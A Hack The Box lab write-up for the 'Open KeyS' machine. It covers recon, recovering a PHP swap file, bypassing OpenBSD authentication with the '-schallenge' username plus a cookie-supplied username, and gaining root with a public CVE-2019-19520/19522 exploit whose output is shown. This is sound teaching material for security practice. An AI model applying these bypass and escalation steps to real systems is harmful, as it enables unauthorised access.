Details

This machine is Open KeyS from Hack The Box

Recon

kali@kali:~$ nmap -sV -p- 10.10.10.199
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-05 15:19 EST
Nmap scan report for 10.10.10.199
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.1 (protocol 2.0)
80/tcp open  http    OpenBSD httpd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 764.83 seconds

User

I started at http://10.10.10.199/index.php

Screenshot 1

Where I ran a dirbust

Screenshot 2

The includes directory turned out to be listable at http://10.10.10.199/includes/

Screenshot 3

I checked the swp file http://10.10.10.199/includes/auth.php.swp

Screenshot 4

I downloaded the swp file and restored it in vim

kali@kali:~$ vim -r auth.php.swp

Screenshot 5

From here I found the following vuln in the check_auth program it was using https://nakedsecurity.sophos.com/2019/12/06/openbsd-devs-patch-authentication-bypass-bug/. So I needed to login with a username of -schallenge So I logged in with

-schallenge : password

Screenshot 6

So it gives the key for the user you login as. I saw the username "jennifer" in the swp file earlier. The code for setting username was

$_SESSION["username"] = $_REQUEST['username'];

It uses $_REQUEST, which means it could come from $_GET, $_POST or $_COOKIE (see https://www.php.net/manual/en/reserved.variables.request.php). I needed -schallenge to be my username but jennifer into the session. I tried intercepting the login request and adding an additional parameter for username as a GET parameter

Screenshot 7

With no luck. So I tried again using the cookie

Screenshot 8

Which led to

Screenshot 9

So I saved the key and used it to ssh in

kali@kali:~$ ssh jennifer@10.10.10.199 -i ./jen.pem
The authenticity of host '10.10.10.199 (10.10.10.199)' can't be established.
ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.199' (ECDSA) to the list of known hosts.
Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$

And could grab the user flag

openkeys$ ls -la
total 48
drwxr-xr-x  3 jennifer  jennifer   512 Nov  5 21:39 .
drwxr-xr-x  3 root      wheel      512 Jan 13  2020 ..
-rw-r--r--  1 jennifer  jennifer    87 Jan 13  2020 .Xdefaults
-rw-r--r--  1 jennifer  jennifer   771 Jan 13  2020 .cshrc
-rw-r--r--  1 jennifer  jennifer   101 Jan 13  2020 .cvsrc
-rw-r--r--  1 jennifer  jennifer   359 Jan 13  2020 .login
-rw-r--r--  1 jennifer  jennifer   175 Jan 13  2020 .mailrc
-rw-r--r--  1 jennifer  jennifer   215 Jan 13  2020 .profile
drwx------  2 jennifer  jennifer   512 Jan 13  2020 .ssh
-rw-r-----  1 jennifer  jennifer    33 Jan 14  2020 user.txt

openkeys$ cat user.txt
[REDACTED]

The article from before also mentioned an exploit for gaining root. CVE-2019-19520, I found an exploit https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19520/openbsd-authroot which I loaded onto the target and ran

openkeys$ sh root.sh
openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)
[*] checking system ...
[*] system supports S/Key authentication
[*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
[*] compiling ...
[*] running Xvfb ...
[*] testing for CVE-2019-19520 ...
_XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created.
[+] success! we have auth group permissions

WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C).

[*] trying CVE-2019-19522 (S/Key) ...
Your password is: EGG LARD GROW HOG DRAG LAIN
otp-md5 99 obsd91335
S/Key Password:
openkeys#

openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

I could now grab the root flag too

openkeys# cd /root
openkeys# ls -la
total 52
drwx------   4 root  wheel   512 Jun 24 01:30 .
drwxr-xr-x  13 root  wheel   512 Nov  5 20:21 ..
-rw-r--r--   1 root  wheel    87 Oct 12  2019 .Xdefaults
drwxr-xr-x   3 root  wheel   512 Jan 11  2020 .composer
-rw-r--r--   1 root  wheel   578 Oct 12  2019 .cshrc
-rw-r--r--   1 root  wheel    94 Oct 12  2019 .cvsrc
-rw-r--r--   1 root  wheel    10 Jan 11  2020 .forward
-rw-r--r--   1 root  wheel   328 Oct 12  2019 .login
-rw-r--r--   1 root  wheel   468 Oct 12  2019 .profile
drwx------   2 root  wheel   512 Jan 11  2020 .ssh
-rw-------   1 root  wheel  1362 Jun 23 12:35 .viminfo
-rw-r--r--   1 root  wheel   421 Nov  5 21:30 dead.letter
-r--------   1 root  wheel    33 Jan 12  2020 root.txt

openkeys# cat root.txt
[REDACTED]

HTB: Open KeyS

Details

Recon

User

Published by Jack

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